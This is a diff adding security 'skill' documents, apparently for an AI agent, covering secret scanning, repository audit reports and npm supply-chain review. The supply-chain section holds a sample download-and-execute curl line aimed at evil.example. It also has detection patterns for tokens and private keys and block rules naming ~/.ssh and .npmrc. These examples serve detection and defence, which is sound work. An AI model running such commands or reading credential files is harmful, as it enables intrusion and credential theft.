@perrylink/dsh-skill-pack-security-provider 1.3.0

package/pack/skills-en/secret-scan/SKILL.md

@@ -0,0 +1,122 @@
+---
+name: secret-scan
+description: 'Credential/secret exposure audit: gitleaks and trivy full-history scan commands and arguments, false-positive alert tiers, the redacted-report spec, and the remediation flow ordered rotate → revoke → purge history → CI gate. Use for detecting secrets/tokens/passwords/private keys in a repository, investigating leaked history commits, judging whether scan alerts are real, or writing a leak report; ordinary code review unrelated to credentials does not use this skill.'
+whenToUse: 'Use when the user asks to scan or inspect a repository for secret leaks, to hunt tokens in a commit or file, to tier scan alerts as real or false, to write a redacted leak report, or to plan secret rotation. Plain feature development and ordinary code review do not trigger this skill.'
+metadata:
+  pack: dsh-skill-pack-security
+  version: '1.3.0'
+---
+# Secret scanning (secret-scan)
+
+Goal: find real credentials in a repository (including its history) and drive remediation. Hard discipline: **no secret plaintext may appear in any output, report, or log**.
+
+## 1. Tool readiness
+
+```sh
+gitleaks --version
+trivy --version
+trufflehog --version
+```
+
+Sample output (use the machine's actual output): `gitleaks version 8.24.3` / `Version: 0.61.0` / `trufflehog 3.88.12`.
+Criterion: exit code 0 = available; non-zero or `command not found` = not installed.
+Installation (if it cannot be installed, skip and use the Section-4 degraded grep, noting it in the report):
+
+```sh
+# Windows: scoop install gitleaks trivy trufflehog   (or winget install Gitleaks.Gitleaks AquaSecurity.Trivy TruffleSecurity.Trufflehog)
+# macOS/Linux: brew install gitleaks trivy trufflehog
+```
+
+Write the actual version numbers into the report (a prerequisite of a reproducible audit).
+
+## 2. Full-history scan (the default path)
+
+```sh
+gitleaks detect --source . --report-format json --report-path .gitleaks-report.json --redact -v
+```
+
+- Exit code: 0 = nothing found; **1 = findings, but also possibly a configuration/argument error** — stderr must be read to tell them apart.
+- Sample stderr (real findings): `INFO: 42 leaks found. 120 commits scanned.`
+- Sample stderr (configuration error): `unable to load config` — in this case exit code 1 does not mean leaks exist.
+- Criterion: only stderr showing `leaks found` **and** a non-empty `Findings` array in the JSON count as findings; either one missing = fix the configuration and rescan.
+- Sample output (with `--redact` the `match` is masked):
+
+```json
+{ "Description": "Generic API Key", "StartLine": 12, "File": "src/ci/deploy.sh",
+  "Commit": "a1b2c3d4", "RuleID": "generic-api-key", "Secret": "REDACTED" }
+```
+
+- False-positive tiers and the allowlist: the complete four-tier table, the `.gitleaks.toml` allowlist syntax, and the baseline workflow live in `references/tool-usage.md`. Tier shorthand:
+  - Tier A real secret (confirmed valid through the vendor's verification interface) → rotate immediately;
+  - Tier B format-real but validity unconfirmable → treat as real;
+  - Tier C test fixture / placeholder / documentation example → register in the allowlist;
+  - Tier D already-rotated historical secret → record it; history cleanup is optional.
+  Criterion: "this is a test file" alone never clears an alert; Tier C needs double evidence from file name and content (for example, the path contains `test`/`fixture` and the value contains `example`/`xxx`).
+- Output hygiene: `.gitleaks-report.json` must not be committed — delete it after the scan or add it to `.gitignore` (`echo '.gitleaks-report.json' >> .gitignore`). `--redact` only masks secret values; the JSON still carries sensitive metadata such as file paths and commit hashes.
+- Bounded-history scanning for huge repositories and the staged gate live in `references/tool-usage.md` (`--log-opts`, `gitleaks protect --staged`).
+
+## 3. Trivy and Trufflehog cross-validation (lowers false positives; never the sole authority)
+
+```sh
+trivy fs --scanners secret --severity HIGH,CRITICAL .
+```
+
+Sample output lines:
+
+```
+src/ci/deploy.sh (secrets)
+
+Total: 1 (HIGH: 1)
+```
+
+Criterion: reported by **both** gitleaks and trivy → very likely real, escalate for review; reported by only one → enter the Tier-B review flow, do not tier it directly.
+Trivy scans the filesystem (it does not cover deleted history), so its coverage differs from gitleaks full-history — the report notes the difference.
+
+Trufflehog (git history + automatic verification; the most direct tool evidence for a Tier-A judgment):
+
+```sh
+trufflehog git file://. --only-verified
+```
+
+Sample output lines (use the actual output):
+
+```
+Found verified result 🐷🔑
+Detector Type: GitHub
+```
+
+Criterion: `Verified` = the tool already confirmed the secret with a read-only request → direct Tier-A evidence, rotate immediately; `Unverified` → treat as Tier B. Note: trufflehog issues the verification request using the found secret (mostly read-only health checks); if organizational policy forbids any outbound verification, use `--no-verification` and treat every alert as Tier B. Both trufflehog and gitleaks cover git history while trivy sees only the current tree — state the coverage differences in the report.
+
+## 4. Degraded grep without the tools (bounded execution; rev-list depth must be limited)
+
+```sh
+git rev-list --all | head -n 500 | while read rev; do
+  git grep -nE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{22,}|sk-[A-Za-z0-9]{20,}|xox[bap]-[A-Za-z0-9-]{10,}|AZURE_STORAGE_[A-Za-z0-9]+=' "$rev" -- '*.js' '*.ts' '*.json' '*.env' 2>/dev/null
+done
+```
+
+Sample output: `a1b2c3d:src/ci/deploy.sh:12:export GITHUB_TOKEN=ghp_...`
+Criterion: a matching line containing `example`/`placeholder`/`xxx` or located in a test file → Tier C (still listed in the report); otherwise treat as Tier B.
+The loose JWT shape (three `eyJ… .… .…` segments) matches too much and is only for spot-checking: `git grep -nE 'eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}' "$rev" -- '*.json' '*.ts' '*.js'` — every hit still goes through the four tiers.
+Limitation: grep only hits content still present in some commit tree and cannot cover deleted history — this is a degraded path, not an equivalent substitute.
+
+## 5. Redacted report spec
+
+The full details live in `references/redaction-and-remediation.md`. Key points:
+
+- The report records only: type + first 6 characters + file/commit location + tier, never the full secret.
+  Example: `GitHub token ghp_abc… | src/ci/deploy.sh:12 | commit a1b2c3d | Tier A`
+- Self-check command (expected output: no matches):
+
+```sh
+grep -nE '(ghp_[A-Za-z0-9]|AKIA[0-9A-Z]{16}|sk-[A-Za-z0-9]|-----BEGIN (RSA|OPENSSH|EC) )' report.md
+```
+
+- Validity verification (for Tier-A confirmation): rotate first, verify second; only enter the **already-rotated old value** into the vendor console/API — never send a live secret to any third-party verification service.
+
+## 6. Remediation order (fixed order; skipping steps is forbidden)
+
+1. **Rotate**: generate a new value at the issuer and replace every usage — the order is irreversible; purging history before rotating is meaningless.
+2. **Revoke**: revoke the old secret in the vendor console; rotation is complete when the new secret works and the console shows the old one revoked.
+3. **Purge history (optional, high risk)**: `git filter-repo --path <file> --invert-paths`, with two hard preconditions: a full repository backup + every collaborator notified and agreed to rebase after the force-push; without the preconditions, do not run it — write the recommendation only.
+4. **Defend**: `.gitignore` exclusions (`echo '.env*' >> .gitignore`), a gitleaks pre-commit or CI gate (config fragments in `references/redaction-and-remediation.md`); the gate is complete when a deliberately committed fake secret is blocked.

package/pack/skills-en/secret-scan/references/redaction-and-remediation.md

@@ -0,0 +1,58 @@
+# Redaction spec and remediation flow (secret-scan/references/redaction-and-remediation.md)
+
+The complete details behind Sections 5 and 6 of the main file.
+
+## Redaction rules
+
+1. A secret may appear in the report in only three representations:
+   - Type marker + first 6 characters + ellipsis: `GitHub token ghp_abc…`
+   - Hash reference: `first 12 hex chars of sha256` (`echo -n '<value>' | sha256sum` then truncate, so logs can be cross-checked without leaking the value)
+   - Location reference: `file:line + commit hash` (e.g. `src/ci/deploy.sh:12 @ a1b2c3d`)
+2. Never allowed: the full secret, raw gitleaks JSON from before `--redact`, or echoed secrets pasted in the terminal.
+3. Run the self-check after every generated report:
+
+```sh
+grep -nE '(ghp_[A-Za-z0-9]|AKIA[0-9A-Z]{16}|sk-[A-Za-z0-9]|-----BEGIN (RSA|OPENSSH|EC) )' report.md
+```
+
+Expected output: no matches. A match means the report itself leaks — fix it before delivering.
+
+## The four remediation steps (fixed order)
+
+### 1. Rotate
+
+- Generate a new value at the issuer (GitHub/GitLab/cloud vendor).
+- Replace every usage: `git grep -l '<first 6 chars of the old secret>'` finds the referencing files, then replace one by one.
+- Completion criterion: the new secret works (one successful run of the original purpose with the new value) and the old secret is referenced by no configuration (`git grep '<first 6 chars>'` hits nothing).
+
+### 2. Revoke
+
+- Revoke the old secret in the console.
+- Completion criterion: the console shows it revoked; where the vendor supports it, call the API once with the old value and expect 401/403 (the call sends only the old, already-revoked value — safe).
+
+### 3. Purge history (optional, high risk)
+
+```sh
+git filter-repo --path <leaked file> --invert-paths --force
+git push origin --force --all
+```
+
+- Hard preconditions (missing either one → do not run, write the recommendation only): a complete repository backup (`git clone --mirror <url> backup.git`); every collaborator informed and agreed to rebase.
+- Known cost: all commit hashes change; PR/CI associations all break.
+- Alternative when not running it: keep the history and write "historical secret rotated + revoked (Tier D); residual history not purged because <reason>".
+
+### 4. Defend (gates)
+
+- `.gitignore` exclusions: `printf '.env*\n*.pem\n' >> .gitignore` (already-tracked files additionally need `git rm --cached <file>`).
+- Pre-commit gate (`.pre-commit-config.yaml` fragment):
+
+```yaml
+repos:
+  - repo: https://github.com/gitleaks/gitleaks
+    rev: v8.24.3
+    hooks:
+      - id: gitleaks
+```
+
+- CI gate (one step in any CI): `gitleaks detect --source . -v`, failing on any non-zero exit.
+- Completion criterion: deliberately commit a fake secret (e.g. `ghp_FAKE0000000000000000000000000000FAKE`) to a test branch — the gate must block it; after the block is confirmed, the test commit may be removed.

package/pack/skills-en/secret-scan/references/tool-usage.md

@@ -0,0 +1,83 @@
+# gitleaks/trivy usage and false-positive tiers (secret-scan/references/tool-usage.md)
+
+The complete command tables and four-tier criteria behind Sections 2 and 3 of the main file.
+
+## gitleaks command table
+
+| Purpose | Command | Exit code / criterion |
+|---|---|---|
+| Full-history scan | `gitleaks detect --source . --report-format json --report-path r.json --redact -v` | 0 = nothing found; 1 = findings or a configuration error (read stderr to tell them apart) |
+| Current working tree only | `gitleaks detect --source . --no-git` | Same as above; excludes history — the report notes it |
+| Bounded-history scan (huge repositories) | `gitleaks detect --source . --log-opts="--since=2.years" -v` | Same as full scan; the report notes only the last 2 years were scanned |
+| Staged gate (pre-commit) | `gitleaks protect --staged` | 0 = pass; non-zero = the staged content holds alerts, block the commit |
+| Scan against a baseline | `gitleaks detect --source . --baseline-path baseline.json -v` | Alerts already in the baseline are not reported again; a baseline records "known", never "fixed" |
+| Generate a baseline | `gitleaks detect --source . --report-format json --report-path r.json -v; gitleaks baseline --source . --report-path r.json --baseline-path baseline.json` | Only generate a baseline for alerts reviewed and accepted as "known" |
+| Quick single-file check | `gitleaks dir <path>` | Prints alert lines; does not cover history |
+
+### Sample JSON structure (after `--redact`)
+
+```json
+{
+  "Description": "Generic API Key",
+  "StartLine": 12,
+  "EndLine": 12,
+  "StartColumn": 20,
+  "Match": "REDACTED",
+  "Secret": "REDACTED",
+  "File": "src/ci/deploy.sh",
+  "SymlinkFile": "",
+  "Commit": "a1b2c3d4e5f6",
+  "Entropy": 4.2,
+  "Author": "dev@example.com",
+  "Email": "dev@example.com",
+  "Date": "2026-08-01T10:00:00+08:00",
+  "Message": "add deploy script",
+  "RuleID": "generic-api-key",
+  "Fingerprint": "a1b2c3d4e5f6:src/ci/deploy.sh:generic-api-key:12"
+}
+```
+
+Field criteria: `Commit` locates historical alerts (no longer present in the tree); `Fingerprint` deduplicates across scans; an alert with low `Entropy` and a `generic-*` `RuleID` is more likely a false positive, but **low entropy alone never clears it** — the four-tier criteria still apply.
+
+## Allowlist configuration (minimal `.gitleaks.toml` example)
+
+```toml
+[allowlist]
+  description = "team-reviewed allowances"
+  paths = ['''tests?/''', '''fixtures?/''']
+  regexes = ['''EXAMPLE_[A-Za-z0-9_]+''']
+  commits = ["a1b2c3d4e5f6"]  # only for "rotation confirmed" historical commits
+```
+
+Criterion: paths/regexes use concrete prefixes (`tests?/`), never a blanket `.`; every commits allowlist entry needs a review record, so a commit holding a real secret cannot be masked wholesale.
+
+## trivy command table
+
+| Purpose | Command | Criterion |
+|---|---|---|
+| Secret scan (current tree) | `trivy fs --scanners secret --severity HIGH,CRITICAL .` | Non-zero exit = high-severity findings; output lines list files and counts |
+| Including low severity | `trivy fs --scanners secret .` | For comparing with gitleaks Tier C/D |
+| A specific directory | `trivy fs --scanners secret --severity HIGH,CRITICAL <dir>` | Same rules |
+
+Difference from gitleaks: trivy does not read git history; trivy's `secret` rules come from a different ruleset than gitleaks. Both report → escalate for review; only one reports → Tier-B flow.
+
+## trufflehog command table
+
+| Purpose | Command | Criterion |
+|---|---|---|
+| Full history + automatic verification | `trufflehog git file://. --only-verified` | `Verified` = direct Tier-A evidence (the tool already confirmed the secret with a read-only request); `Unverified` = Tier B |
+| Verification disabled | `trufflehog git file://. --no-verification` | Use when organizational policy forbids outbound verification; every alert is treated as Tier B |
+| Current directory only | `trufflehog filesystem .` | Does not read history — the report notes it |
+
+Criterion: trufflehog issues its verification requests using the found secret (mostly read-only health checks such as a `/user` query); any outbound verification must be stated in the report (which secrets were sent to which vendor endpoints).
+
+## Four-tier false-positive criteria (each tier with its verification command)
+
+| Tier | Definition | Verification command | Clear condition |
+|---|---|---|---|
+| A real | Secret verifiably valid (trufflehog `Verified`, or confirmed through the vendor console/API) | Vendor console/API query (enter only the rotated old value) | Never clears → rotate immediately |
+| B suspected | Format-real, unconfirmable | `git log -p -S'<first 6 chars>' -- <file>` to read the introducing context | No clear condition; treat as real |
+| C test/placeholder | Test fixture, documentation example | Double check of name and content: path contains test/fixture and value contains example/xxx | Allowlist registration only when both hold |
+| D historical rotated | Rotated and revocation completed | Console revocation screenshot/record + rotation time | With a record, clear; history cleanup optional |
+
+General criterion: **any alert without evidence is treated at the higher tier**; clearing requires a written record (tier + verification command + output) — "it looks like a false positive" is never a valid clearance.

package/pack/skills-en/security-audit/SKILL.md

@@ -0,0 +1,109 @@
+---
+name: security-audit
+description: 'Repository/software security audit overview: a staged flow of scope definition, asset inventory, risk tiering, item-by-item verification, and a report template, dispatching to the four specialist skills secret-scan, dependency-audit, supply-chain-review, and prompt-injection-review as needed. Use when the user asks for a whole-repo audit, an audit plan, or a consolidated multi-class findings report; for a single topic such as secrets or dependencies, load the matching specialist skill directly.'
+whenToUse: 'Use when the user asks for a security audit of a code repository or project, an audit plan, staged audit steps, a consolidated findings report, or is unsure which specialist skill to start with. Single-topic tasks (only secrets, only dependencies, only one PR, only injection surfaces) load the matching specialist skill directly and do not trigger this overview.'
+metadata:
+  pack: dsh-skill-pack-security
+  version: '1.3.0'
+---
+# Security audit overview (security-audit)
+
+This skill orchestrates the complete flow of one repository security audit and produces a report in which **every finding can be re-verified with a single command**. It only orchestrates; the check details for the four topics live in `secret-scan` (secrets), `dependency-audit` (dependencies), `supply-chain-review` (new-dependency review), and `prompt-injection-review` (injection surfaces of agent projects). When a stage is reached, load the matching specialist skill on demand with the `skill` tool — do not rewrite its details here.
+
+## Stage 0: fix the audit target (an unfixed target makes the report unreproducible)
+
+```sh
+git rev-parse --show-toplevel
+git log -1 --format='%H %cd' --date=iso-strict
+```
+
+Expected sample output (use the actual output):
+
+```
+D:\repo\example
+a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0 2026-08-14T10:30:00+08:00
+```
+
+Criterion: `git rev-parse` exits 0 and the first line is an absolute path; a non-zero exit means this is not a git repository — stop and explain why.
+The report metadata must record this commit hash so a reviewer can replay every check command at any time.
+
+Confirm tool availability (each specialist skill has a degraded path for missing tools; never claim a check was "scanned" when it was not run):
+
+```sh
+gitleaks --version; trivy --version; pnpm --version
+checkov --version
+```
+
+Sample output: `gitleaks version 8.24.3` / `Version: 0.61.0` / `10.9.0` / `3.2.x`.
+Criterion: exit code 0 per command = available; non-zero or `command not found` = unavailable — the report states "not run (tool unavailable)". A missing checkov does not block the audit (the IaC surface uses `trivy config` or degrades to manual review).
+
+## Stage 1: scope definition
+
+Deliverable: the **audit scope list** — enumerate the files, directories, dependencies, and configuration paths included in the audit, with every exclusion and its reason.
+
+```sh
+git ls-files | wc -l
+git ls-files -- 'package.json' 'pnpm-lock.yaml' 'package-lock.json' 'yarn.lock' '*.toml' '*.yaml' '*.yml' '.github/workflows/**'
+```
+
+Sample output: `1234` (the first line is the total file count), followed by the manifest and configuration file paths; a missing class of files yields an empty line for that class.
+Criterion: empty output = the class of files does not exist — the report writes "not found" instead of omitting the class.
+Boundary assumptions go into the report: by default only files tracked by `git ls-files` are audited; whether submodules, upstream mirrors, and CI environment variables are included must be stated in the scope list.
+
+## Stage 2: asset inventory
+
+List assets along four surfaces (command output goes directly into the report appendix):
+
+```sh
+git ls-files -- '.env*' '*.pem' '**/id_rsa' '**/id_ed25519' '**/*.key'
+git ls-files -- 'package.json' 'pnpm-lock.yaml' 'package-lock.json' 'yarn.lock'
+git submodule status
+git ls-files -- '.github/workflows/**' '.mcp.json' 'cordis.yml' '**/cordis.yml'
+git ls-files -- 'Dockerfile*' 'docker-compose*.yml' 'compose*.yml' '*.tf' '*.tfvars' '*.hcl' 'serverless.yml'
+```
+
+Sample output: one relative path per line; no matches = no output.
+Criterion: empty output = no assets on that surface — the report writes "not found".
+The asset inventory feeds every later stage: the secrets surface goes to `secret-scan`, the dependency surface to `dependency-audit`, and the CI/configuration plus IaC/container surfaces are checked within this report.
+
+## Stage 3: risk tiering
+
+Tier definitions, the coarse CVSS mapping, handling deadlines, and report wording live in `references/risk-classification.md`.
+Every finding must fill this table (all three factors are required to tier anything; without them an item is an "observation", not a "finding"):
+
+| Finding | Location (file:line/commit) | Exploitability | Impact | Exposed | Tier |
+|---|---|---|---|---|---|
+| e.g. GitHub token in plaintext | src/ci/deploy.sh:12 | High | Repo write access | Pushed to a public repo | Critical |
+
+Criterion: a tier may only come from "exploitability × impact × exposed"; anything tiered by feel is downgraded to "observation".
+
+## Stage 4: item-by-item verification
+
+Principle: **every finding in the report must be re-verifiable by a reviewer with one command**; anything that cannot be re-verified goes into "observations", not "findings".
+Verification commands per topic come from the matching specialist skill (load it and use its commands):
+
+- Secrets: `git grep -n '<first 6 redacted characters>' <commit hash> -- '<file path>'` (details in `secret-scan`)
+- Dependencies: `pnpm why <package>`, and search the `pnpm audit --json` output by advisory id (see `dependency-audit`)
+- New dependencies: `git log --oneline --follow -- <lockfile>` to locate the introducing commit (see `supply-chain-review`)
+- Injection surfaces: the original-source extraction command of the quoted text (see `prompt-injection-review`)
+- CI/workflows: `git grep -n 'pull_request_target' -- '.github/workflows/**'` (a hit where the workflow uses secrets after checking out PR code → high-severity finding); `git grep -nE 'uses: [A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+@v[0-9]' -- '.github/workflows/**'` (actions not pinned to a commit SHA → record)
+- IaC/containers: `trivy config .` (or `checkov -d .` without trivy); images with `trivy image <image>` (image unavailable or tools missing → write "not run")
+
+False-positive rule: a verification command that yields no evidence → downgrade to "observation" or delete; anything kept without verification must state the reason.
+
+## Stage 5: report
+
+The report skeleton (title, metadata, verdict summary, findings table, verification-command appendix, method limitations) lives in `references/report-template.md`.
+Hard redaction rule: the report must never contain a secret in plaintext — only the type marker plus the first 6 characters; details in the `secret-scan` redaction spec.
+Self-check before delivery (expected output: no matches; a match means the report itself leaks a secret — fix it before delivering):
+
+```sh
+grep -nE '(ghp_[A-Za-z0-9]|AKIA[0-9A-Z]{16}|sk-[A-Za-z0-9]|-----BEGIN)' report.md
+```
+
+## Division of labor with the other skills
+
+- `secret-scan`: secret detection, false-positive tiers, redaction, and remediation order — the secrets surface of the asset inventory.
+- `dependency-audit`: known vulnerabilities, licenses, poisoning, lockfile drift — the dependency surface of the asset inventory.
+- `supply-chain-review`: a minutes-fast review of PRs and new dependencies — new dependencies appearing during the audit.
+- `prompt-injection-review`: the context injection surfaces of agent projects — mandatory when the repository itself is an agent project.

package/pack/skills-en/security-audit/references/report-template.md

@@ -0,0 +1,53 @@
+# Audit report template (security-audit/references/report-template.md)
+
+The report skeleton: every heading is a mandatory section, and `<...>` marks a placeholder. Language matches the main file (English-primary; keep technical terms in English).
+
+## Template
+
+```markdown
+# Security audit report: <repository name>
+
+- Audit target: <absolute repository path>
+- Baseline commit: <40-character commit hash> (<ISO date>)
+- Audit window: <start>–<end>
+- Tools and versions: <gitleaks x.y.z / trivy x.y.z / pnpm x.y.z; unavailable ones say "not run">
+- Auditor: <model/tool name, noting "this report was generated by a model following the dsh-skill-pack-security/security-audit flow and requires human review">
+
+## 1. Scope
+
+Included: <paths/categories, one per line>
+Excluded: <each exclusion and its reason>
+Assumptions: <how submodules, upstream mirrors, and CI environment variables are handled>
+
+## 2. Verdict summary
+
+<One paragraph: N findings (critical X / high Y / medium Z / low W), M observations. What the highest risk is, and the suggested first action. Every finding carries a unique id F-01, F-02, …; the summary and the suggested actions reference those ids.>
+
+## 3. Findings (each row carries the three factors and a verification command)
+
+| ID | Tier | Finding | Location | Exploitability | Impact | Exposed | Verification command | Suggested action |
+|---|---|---|---|---|---|---|---|---|
+
+## 4. Observations (not re-verifiable, or below the "finding" standard)
+
+<Same table structure; the tier column says "observation" with the reason.>
+
+## 5. Verification command appendix
+
+<The verbatim text and output summary of every Stage-4 verification command, for reviewers to replay.>
+
+## 6. Method limitations
+
+- Checks not run (missing tools / out of scope): <list each>
+- Historical content the grep-class degraded path cannot cover: <if applicable>
+- Model judgments, not tool judgments: <mark each as "needs human confirmation">
+```
+
+## Self-check list (walk through before delivery)
+
+1. Every "finding" is re-verifiable with an appendix command: `grep -n '<verification command>' report.md` is expected to hit every row.
+2. No plaintext secrets: `grep -nE '(ghp_[A-Za-z0-9]|AKIA[0-9A-Z]{16}|sk-[A-Za-z0-9]|-----BEGIN)' report.md` is expected to produce no output.
+3. Every finding has non-empty "exploitability/impact/exposed" factors: counts such as `grep -c '| High |' report.md` match the finding counts.
+4. The baseline commit hash is 40 hex characters: `grep -oE '[0-9a-f]{40}' report.md` hits at least once.
+5. The method-limitations section is non-empty: `grep -A5 '## 6' report.md` has real content.
+6. Finding ids are unique: `grep -oE 'F-[0-9]+' report.md | sort | uniq -d` is expected to produce no output.

package/pack/skills-en/security-audit/references/risk-classification.md

@@ -0,0 +1,40 @@
+# Risk tiering details (security-audit/references/risk-classification.md)
+
+The complete definitions behind Stage 3 of the main file. Tiering uses only three factors: **exploitability × impact × exposed**; all three are written into the report row — none may be missing.
+
+## The four tiers
+
+| Tier | Definition | Handling deadline | Report wording template |
+|---|---|---|---|
+| Critical | Exposed real credentials, directly remotely exploitable vulnerabilities, injection surfaces that bypass all defenses | Handle immediately; disposition before the audit ends | "Confirmed: <type> at <location> is exposed to <scope> with <impact>." |
+| High | Exploitable locally / with low privilege, or broad impact whose exploitation needs preconditions | Handle within the current iteration | "Found: <type> at <location>; exploitation requires <precondition>." |
+| Medium | Defense-in-depth gaps, configuration hazards, known vulnerabilities in dependencies with no exploitable path | Schedule for a planned release | "Observation: <type>; suggested to handle in <version/plan>." |
+| Low | Information exposure, style/hygiene issues, historical leftovers | Record it | "Recorded: <type> poses no current risk." |
+
+## Coarse CVSS mapping (reference only; it does not replace the three factors)
+
+- Critical 9.0–10.0 → Critical
+- High 7.0–8.9 → High
+- Medium 4.0–6.9 → Medium
+- Low 0.1–3.9 → Low
+
+Criterion: CVSS is only the upstream score; whether this repository is affected must be re-derived from the three factors (for example, a vulnerable package that lives only in devDependencies and never enters the build may be downgraded to Medium even with a critical CVSS — with the reason written down).
+
+## Verification commands
+
+| Finding type | Verification command | Pass criterion |
+|---|---|---|
+| Secret | `git grep -n '<first 6 characters>' <commit hash> -- '<path>'` | Output hits the line and the content is credential-shaped |
+| Dependency vulnerability | Search the `pnpm audit --json` output by advisory id | The id exists and `severity` matches the report |
+| New dependency | `git log --oneline --follow -- <lockfile>` | The introducing commit exists and matches the dependency version |
+| Injection surface | Original-source grep (see prompt-injection-review) | The original text exists and its context matches the quotation |
+
+## Upgrade / downgrade rules
+
+- A tier that cannot be verified → always downgraded to "observation".
+- Verification failure (command empty, content mismatch) → downgrade to "observation" or delete; keeping the original tier without deleting requires writing the reason in the report.
+- Multiple findings sharing one root cause are merged into one row listing every location.
+
+## Compliance mapping (optional appendix; reference only, never part of tiering)
+
+When the report must align with a compliance framework, add a coarse mapping in the appendix: group findings by OWASP ASVS verification requirements or by NIST CSF functions (Identify/Protect/Detect/Respond/Recover). The mapping is a communication annotation only — tiers still come from the three factors alone; "compliance requires it" may never be used to argue a tier upward.

package/pack/skills-en/supply-chain-review/SKILL.md

@@ -0,0 +1,95 @@
+---
+name: supply-chain-review
+description: 'Quick PR/new-dependency supply-chain review: dangerous install/postinstall script checks, typosquat name-similarity judgment, reproducible-build verification, each with false-positive criteria and a pass / request-changes / block three-tier decision threshold. Use when reviewing a PR that introduces new dependencies or when a quick verdict on new-dependency risk is needed; ordinary code review unrelated to new dependencies does not use this skill.'
+whenToUse: 'Use when reviewing a PR that adds new dependencies (package.json/lockfile changes), inspecting a package install-script behavior, judging a suspected typosquat package, or verifying build reproducibility. Plain business-code PR reviews unrelated to new dependencies do not trigger this skill.'
+metadata:
+  pack: dsh-skill-pack-security
+  version: '1.3.0'
+---
+# New-dependency quick review (supply-chain-review)
+
+Goal: within PR-review time (minutes), give each new dependency a **pass / request changes / block** verdict; every verdict must carry command evidence and a false-positive exclusion note.
+
+## 0. Confirm the scope
+
+```sh
+git diff <base>...HEAD --stat -- package.json pnpm-lock.yaml
+git diff <base>...HEAD --unified=0 -- package.json | grep '^+'
+```
+
+Sample output:
+
+```
+ package.json      | 4 ++++
+ pnpm-lock.yaml    | 12 ++++++++++++
++    "example-lib": "^2.3.0",
+```
+
+Criterion: no manifest change → this skill does not apply, stop; devDependencies-only changes → one tier lower overall ("does not enter production output"), but the script checks still run.
+Use the PR's real `<base>` (confirm with `git merge-base <base> HEAD` first) — never guess it.
+
+## 1. Dangerous install-script check (block-level candidate)
+
+For every new package run:
+
+```sh
+npm view <package> scripts --json
+```
+
+Sample output: `{ "postinstall": "node scripts/download.js" }`.
+Dangerous-pattern list (the full version and the verification grep live in `references/install-script-checks.md`):
+
+- `curl`/`wget`/`Invoke-WebRequest` downloading an executable and then running it;
+- `base64 -d`/`eval`/`child_process.exec`/`os.system` combined with external input or an assembled payload;
+- Writing into `~/.ssh`, `.npmrc`, `.gitconfig`, credentials, or global shell configuration.
+
+Verification command (unpack and read the real content — never trust the manifest description alone):
+
+```sh
+npm pack <package> --pack-destination .tmp
+tar -xzf .tmp/<package>-<version>.tgz -C .tmp
+grep -rnE '(curl|wget|base64|eval|\.ssh|npmrc)' .tmp/package/package.json .tmp/package/*.js
+```
+
+Sample output: `.tmp/package/scripts/download.js:3:curl -sSL https://evil.example/x -o /tmp/x && chmod +x /tmp/x`
+False-positive criterion: **build-toolchain install scripts are ecosystem convention** (esbuild, sharp, node-gyp, core-js, and so on) — the clearance criterion is: the script behavior matches the package's purpose **and** it does not touch user credentials or global configuration; failing either = block.
+Block conditions (any one blocks): downloading and executing a binary, accessing credential files, obfuscated payloads (base64/hex assembled then eval), writing global configuration after install.
+Git-install vector: when a dependency comes from a git URL (DSH git installs run `prepare` scripts), `npm view` cannot see its scripts — locate it with `git grep -nE 'git\+https?://' -- package.json` first, then `git clone --depth 1 <url> .tmp/gitdep` and `grep -nE '"(prepare|preinstall)"' .tmp/gitdep/package.json`; `prepare` runs at install time, so treat it like postinstall.
+Package-body anomalies: `npm view <package> dist.fileCount dist.tarball --json`. Criterion: an abnormally large fileCount (for example > 1000) or a tarball host that is not `registry.npmjs.org` → record and review manually.
+
+## 2. Typosquat check
+
+For every new package name:
+
+```sh
+npm view <package> time.created
+npm view <package> --json | grep -E '"downloads"|"weekly"'
+```
+
+Sample output: `2026-08-10T02:00:00.000Z` (created two weeks ago); the downloads field may be absent (some registries do not return it — treat a missing value as "unknown", never conclude from it alone).
+Name comparison: compare edit distance against popular packages one by one (confusion-pair list and the command live in `references/typosquat-and-reproducibility.md`), e.g. `lodahs` vs `lodash`, `react-domm` vs `react-dom`.
+Criterion: **edit distance ≤ 2 from a popular package AND short creation time / extremely low downloads, both at once → block**; only one of them → request changes and re-check with the `dependency-audit` poisoning checklist.
+False-positive criterion: an obscure same-named package from a completely unrelated domain is not killed by "low downloads" alone — "name similarity + suspicious context" must hold together.
+
+## 3. Reproducible-build verification
+
+```sh
+git ls-files -- '*lock*' | head -n 5
+grep -nE 'frozen-lockfile|npm ci|--frozen' .github/workflows/* 2>/dev/null
+grep -c 'integrity' <lockfile>
+pnpm install --frozen-lockfile
+```
+
+Sample output: one lockfile path line; the CI hit line `install: pnpm install --frozen-lockfile`; an integrity count of `1234`.
+Criterion (three factors, see `references/typosquat-and-reproducibility.md`):
+- Lockfile committed + CI frozen install + integrity fields complete = pass;
+- Any one missing = request changes;
+- No lockfile **and** more than 20 new direct dependencies = block.
+- A failing `pnpm install --frozen-lockfile` goes to `dependency-audit` Section 5 for the sample and handling; a platform difference never justifies turning off the frozen switch.
+- CI-configuration review (required when the PR touches workflows): `git diff <base>...HEAD -- .github/workflows | grep -nE '^\+.*uses:'` — a new/changed `uses: <owner>/<repo>@v<number>` not pinned to a commit SHA (`@<40-hex>`) → request changes (tags can be moved); read-only third-party actions that never touch secrets are recorded, not blocked.
+- Lockfile growth review: compare `git diff <base>...HEAD -- <lockfile> | grep -cE '^\+'` with the number of new direct dependencies; 1 declared dependency but +500 lines → record and inspect the diff manually.
+
+## 4. Verdict and comment template
+
+The three-tier definitions, trigger conditions, and PR-comment templates live in `references/typosquat-and-reproducibility.md`.
+Every verdict must include: evidence command + output summary + false-positive exclusion note ("I excluded X because <evidence>").

package/pack/skills-en/supply-chain-review/references/install-script-checks.md

@@ -0,0 +1,34 @@
+# Dangerous install-script patterns (supply-chain-review/references/install-script-checks.md)
+
+The complete dangerous-pattern table and verification commands behind Section 1 of the main file.
+
+## The full dangerous-pattern table
+
+| Pattern | Example | Verification grep | Tier |
+|---|---|---|---|
+| Download and execute a binary | `curl -sSL https://x/y -o /tmp/x && chmod +x /tmp/x && /tmp/x` | `grep -rnE '(curl|wget|Invoke-WebRequest)' <unpack dir>` | Block |
